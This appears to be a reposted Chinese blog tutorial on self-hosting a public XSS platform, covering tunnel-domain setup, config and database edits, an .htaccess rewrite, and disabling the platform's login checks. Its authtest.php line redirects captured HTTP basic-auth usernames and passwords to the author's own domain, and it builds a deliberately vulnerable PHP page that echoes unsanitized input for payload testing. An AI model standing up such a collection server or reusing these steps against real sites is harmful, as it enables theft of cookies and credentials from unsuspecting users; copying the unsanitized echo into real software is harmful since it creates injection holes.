搭建公网XSS平台

Posted 2021-04-29 ParrotSecurity

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了搭建公网XSS平台相关的知识，希望对你有一定的参考价值。

前言

互联网上有许多XSS平台，但终究没有自己搭建的用的放心。正好最近看到花生壳内网穿透可免费提供一域名。所以就来尝试搭建。

花生壳

为了拥有自己的免费域名，使用花生壳动态域名解析。
下载花生壳客户端
安装起来非常简单。

搭建公网XSS平台

点击我的域名。看到为用户免费生成了一个域名。

点击内网穿透。需要开通内网穿透功能。花费6元，毅然决然地选择开通。
新建一条内网映射。即可从外网访问内网。

搭建公网XSS平台

搭建XSS平台

在拥有了属于自己的域名情况下，进行搭建XSS平台。
环境：phpstudy的默认安装
将下载的XSS源码放在WWW下。

创建数据库

修改config.php

$config['dbUser'] ='root'; //用户$config['dbPwd'] ='root'; //密码$config['database'] ='xssplatform'; //数据库名$config['urlroot'] ='http://236gr62949.iok.la/';//访问的url起始

根据config.php配置文件新建数据库。

搭建公网XSS平台

导入xssplatform.sql数据库。

搭建公网XSS平台

更新数据库语句为自己的域名

update oc_module set code=REPLACE(code,"http://xsser.me","http://236gr62949.iok.la/");

修改authtest.php文件为自己的域名

header("Location: http://236gr62949.iok.la/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");

可直接用域名访问。

搭建公网XSS平台

平台使用

生成邀请码

将config.php注册配置修改为normal，邀请码进行任意填写，点击提交注册。
发现无法注册。修改type属性值。
C:\phpStudy\WWW\xss\themes\default\templates\register.html 内容

<input id="btnRegister" type="button" onclick="Register()" value="提交注册" />

修改为

<input id="btnRegister" type="submit" value="提交注册" />

就可注册成功。
注册完成后oc_user表中会增加一条记录，手动将adminlevel修改为1（即管理员权限，可以有权限下放邀请码）。

搭建公网XSS平台

再回到config.php中修改注册配置为invite，进入只允许邀请注册。

将C:\phpStudy\WWW\xss\source\user.php文件的第10行和第49行权限控制注释掉。

//if($user->userId<=0) ShowError('未登录或已超时',$url['login'],'重新登录');//if($user->adminLevel<=0) ShowError('没有操作权限',URL_ROOT.'/index.php?do=user&act=invite');

访问http://236gr62949.iok.la/index.php?do=user&act=invite 可生成邀请码。
点击生成其他邀请码。

搭建公网XSS平台

有了邀请码，注册功能就可以正常使用啦。

Apache伪静态

在使用xss poc时，会出现404错误，这是由于url重写没有生效，主要是因为apache中间件配置问题。

搭建公网XSS平台

解决方法

网站根目录下新建.htaccess文件，内容为

<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L] RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L] RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L] RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]</IfModule>

然后修改httpd.conf配置文件

AllowOverride None

全部改为

AllowOverride All

配置好后，重启phpstudy，就能正常访问。

搭建公网XSS平台

平台搭建到这里已基本能使用。再进行细节上的处理
修改提示页面跳转时间为500ms
文件C:\phpStudy\WWW\xss\themes\default\templates\notice.html

setTimeout("location.href='{$notice.turnto}'",500);

实际测试

手动创建一个有漏洞的XSS页面。
源代码为

<html><head> <title>XSS</title></head><body><form><input type="text" name="xss" value="<?php echo @$_GET["xss"]; ?>" /><input type="submit" value="submit" /></form></body></html>

访问插入paylaod

可看到效果图。

以上是关于搭建公网XSS平台的主要内容，如果未能解决你的问题，请参考以下文章